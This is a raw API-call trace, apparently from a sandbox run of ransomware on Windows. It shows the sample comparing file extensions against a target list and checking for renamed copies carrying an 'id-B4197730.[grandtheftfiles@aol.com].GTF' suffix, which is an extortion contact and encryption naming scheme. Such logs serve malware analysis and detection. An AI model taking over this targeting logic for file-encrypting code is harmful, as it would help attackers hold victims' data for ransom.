	[0088.327] lstrlenW (lpString=".7z") returned 3
	[0088.327] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0088.327] lstrlenW (lpString=".dbf") returned 4
	[0088.327] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0088.327] lstrlenW (lpString=".1cd") returned 4
	[0088.327] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0088.327] lstrlenW (lpString=".jpg") returned 4
	[0088.327] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.327] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0088.327] lstrlenW (lpString="FlickLearningWizard.exe.mui") returned 27
	[0088.327] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.328] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=8704) returned 1
	[0088.328] CloseHandle (hObject=0x378) returned 1
	[0088.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui")) returned 0x20
	[0088.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84
	[0088.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84
	[0088.329] lstrlenW (lpString=".doc") returned 4
	[0088.329] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.329] lstrlenW (lpString=".docx") returned 5
	[0088.329] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0088.329] lstrlenW (lpString=".pdf") returned 4
	[0088.329] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.329] lstrlenW (lpString=".xls") returned 4
	[0088.329] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.329] lstrlenW (lpString=".xlsx") returned 5
	[0088.329] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0088.329] lstrlenW (lpString=".ppt") returned 4
	[0088.329] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84
	[0088.329] lstrlenW (lpString=".zip") returned 4
	[0088.329] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.329] lstrlenW (lpString=".rar") returned 4
	[0088.329] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.329] lstrlenW (lpString=".bz2") returned 4
	[0088.329] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.329] lstrlenW (lpString=".7z") returned 3
	[0088.329] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84
	[0088.329] lstrlenW (lpString=".dbf") returned 4
	[0088.329] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84
	[0088.329] lstrlenW (lpString=".1cd") returned 4
	[0088.329] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84
	[0088.329] lstrlenW (lpString=".jpg") returned 4
	[0088.329] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84
	[0088.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84
	[0088.330] lstrlenW (lpString=".doc") returned 4
	[0088.330] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.330] lstrlenW (lpString=".docx") returned 5
	[0088.330] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0088.330] lstrlenW (lpString=".pdf") returned 4
	[0088.330] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.330] lstrlenW (lpString=".xls") returned 4
	[0088.330] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.330] lstrlenW (lpString=".xlsx") returned 5
	[0088.330] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0088.330] lstrlenW (lpString=".ppt") returned 4
	[0088.330] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84
	[0088.330] lstrlenW (lpString=".zip") returned 4
	[0088.330] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.330] lstrlenW (lpString=".rar") returned 4
	[0088.330] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.330] lstrlenW (lpString=".bz2") returned 4
	[0088.330] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.330] lstrlenW (lpString=".7z") returned 3
	[0088.330] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84
	[0088.330] lstrlenW (lpString=".dbf") returned 4
	[0088.330] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84
	[0088.330] lstrlenW (lpString=".1cd") returned 4
	[0088.330] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84
	[0088.330] lstrlenW (lpString=".jpg") returned 4
	[0088.330] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.330] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0088.330] lstrlenW (lpString="InkObj.dll.mui") returned 14
	[0088.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.331] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=5120) returned 1
	[0088.331] CloseHandle (hObject=0x378) returned 1
	[0088.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20
	[0088.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0088.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0088.332] lstrlenW (lpString=".doc") returned 4
	[0088.332] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.332] lstrlenW (lpString=".docx") returned 5
	[0088.332] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0088.332] lstrlenW (lpString=".pdf") returned 4
	[0088.332] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.332] lstrlenW (lpString=".xls") returned 4
	[0088.332] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.332] lstrlenW (lpString=".xlsx") returned 5
	[0088.332] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0088.332] lstrlenW (lpString=".ppt") returned 4
	[0088.332] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0088.332] lstrlenW (lpString=".zip") returned 4
	[0088.332] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.332] lstrlenW (lpString=".rar") returned 4
	[0088.332] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.332] lstrlenW (lpString=".bz2") returned 4
	[0088.332] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.332] lstrlenW (lpString=".7z") returned 3
	[0088.332] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0088.332] lstrlenW (lpString=".dbf") returned 4
	[0088.332] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0088.332] lstrlenW (lpString=".1cd") returned 4
	[0088.332] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0088.333] lstrlenW (lpString=".jpg") returned 4
	[0088.333] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0088.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0088.333] lstrlenW (lpString=".doc") returned 4
	[0088.333] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.333] lstrlenW (lpString=".docx") returned 5
	[0088.333] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0088.333] lstrlenW (lpString=".pdf") returned 4
	[0088.333] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.333] lstrlenW (lpString=".xls") returned 4
	[0088.333] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.333] lstrlenW (lpString=".xlsx") returned 5
	[0088.333] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0088.333] lstrlenW (lpString=".ppt") returned 4
	[0088.333] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0088.333] lstrlenW (lpString=".zip") returned 4
	[0088.333] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.333] lstrlenW (lpString=".rar") returned 4
	[0088.333] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.333] lstrlenW (lpString=".bz2") returned 4
	[0088.333] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.333] lstrlenW (lpString=".7z") returned 3
	[0088.333] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0088.333] lstrlenW (lpString=".dbf") returned 4
	[0088.333] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0088.333] lstrlenW (lpString=".1cd") returned 4
	[0088.333] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0088.333] lstrlenW (lpString=".jpg") returned 4
	[0088.333] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.334] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0088.334] lstrlenW (lpString="InputPersonalization.exe.mui") returned 28
	[0088.334] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.334] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=3072) returned 1
	[0088.334] CloseHandle (hObject=0x378) returned 1
	[0088.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20
	[0088.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.334] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0088.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0088.334] lstrlenW (lpString=".doc") returned 4
	[0088.334] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.334] lstrlenW (lpString=".docx") returned 5
	[0088.334] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0088.334] lstrlenW (lpString=".pdf") returned 4
	[0088.334] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.334] lstrlenW (lpString=".xls") returned 4
	[0088.335] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.335] lstrlenW (lpString=".xlsx") returned 5
	[0088.335] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0088.335] lstrlenW (lpString=".ppt") returned 4
	[0088.335] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0088.335] lstrlenW (lpString=".zip") returned 4
	[0088.335] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.335] lstrlenW (lpString=".rar") returned 4
	[0088.335] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.335] lstrlenW (lpString=".bz2") returned 4
	[0088.335] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.335] lstrlenW (lpString=".7z") returned 3
	[0088.335] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0088.335] lstrlenW (lpString=".dbf") returned 4
	[0088.335] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0088.335] lstrlenW (lpString=".1cd") returned 4
	[0088.335] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0088.335] lstrlenW (lpString=".jpg") returned 4
	[0088.335] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0088.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0088.335] lstrlenW (lpString=".doc") returned 4
	[0088.335] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.335] lstrlenW (lpString=".docx") returned 5
	[0088.335] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0088.335] lstrlenW (lpString=".pdf") returned 4
	[0088.335] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.335] lstrlenW (lpString=".xls") returned 4
	[0088.335] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.335] lstrlenW (lpString=".xlsx") returned 5
	[0088.335] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0088.335] lstrlenW (lpString=".ppt") returned 4
	[0088.336] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0088.336] lstrlenW (lpString=".zip") returned 4
	[0088.336] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.336] lstrlenW (lpString=".rar") returned 4
	[0088.336] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.336] lstrlenW (lpString=".bz2") returned 4
	[0088.336] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.336] lstrlenW (lpString=".7z") returned 3
	[0088.336] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0088.336] lstrlenW (lpString=".dbf") returned 4
	[0088.336] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0088.336] lstrlenW (lpString=".1cd") returned 4
	[0088.336] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0088.336] lstrlenW (lpString=".jpg") returned 4
	[0088.336] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.336] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0088.336] lstrlenW (lpString="IPSEventLogMsg.dll.mui") returned 22
	[0088.336] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0088.865] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=23040) returned 1
	[0088.865] CloseHandle (hObject=0x390) returned 1
	[0088.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20
	[0089.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.132] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0089.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0089.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0089.148] lstrlenW (lpString=".doc") returned 4
	[0089.148] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0089.148] lstrlenW (lpString=".docx") returned 5
	[0089.148] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0089.148] lstrlenW (lpString=".pdf") returned 4
	[0089.148] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0089.148] lstrlenW (lpString=".xls") returned 4
	[0089.148] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0089.156] lstrlenW (lpString=".xlsx") returned 5
	[0089.156] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0089.156] lstrlenW (lpString=".ppt") returned 4
	[0089.156] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0089.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0089.156] lstrlenW (lpString=".zip") returned 4
	[0089.156] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0089.164] lstrlenW (lpString=".rar") returned 4
	[0089.164] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0089.164] lstrlenW (lpString=".bz2") returned 4
	[0089.164] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0089.164] lstrlenW (lpString=".7z") returned 3
	[0089.164] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0089.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0089.164] lstrlenW (lpString=".dbf") returned 4
	[0089.164] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0089.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0089.164] lstrlenW (lpString=".1cd") returned 4
	[0089.164] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0089.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0089.164] lstrlenW (lpString=".jpg") returned 4
	[0089.164] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0089.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0089.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0089.164] lstrlenW (lpString=".doc") returned 4
	[0089.164] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0089.164] lstrlenW (lpString=".docx") returned 5
	[0089.165] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0089.165] lstrlenW (lpString=".pdf") returned 4
	[0089.165] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0089.165] lstrlenW (lpString=".xls") returned 4
	[0089.165] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0089.165] lstrlenW (lpString=".xlsx") returned 5
	[0089.165] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0089.165] lstrlenW (lpString=".ppt") returned 4
	[0089.165] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0089.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0089.165] lstrlenW (lpString=".zip") returned 4
	[0089.165] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0089.165] lstrlenW (lpString=".rar") returned 4
	[0089.165] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0089.165] lstrlenW (lpString=".bz2") returned 4
	[0089.165] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0089.165] lstrlenW (lpString=".7z") returned 3
	[0089.165] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0089.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0089.165] lstrlenW (lpString=".dbf") returned 4
	[0089.165] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0089.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0089.165] lstrlenW (lpString=".1cd") returned 4
	[0089.165] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0089.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0089.165] lstrlenW (lpString=".jpg") returned 4
	[0089.165] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0089.165] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0089.165] lstrlenW (lpString="msdia90.dll") returned 11
	[0089.166] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0089.166] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=855376) returned 1
	[0089.167] CloseHandle (hObject=0x33c) returned 1
	[0089.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 0x20
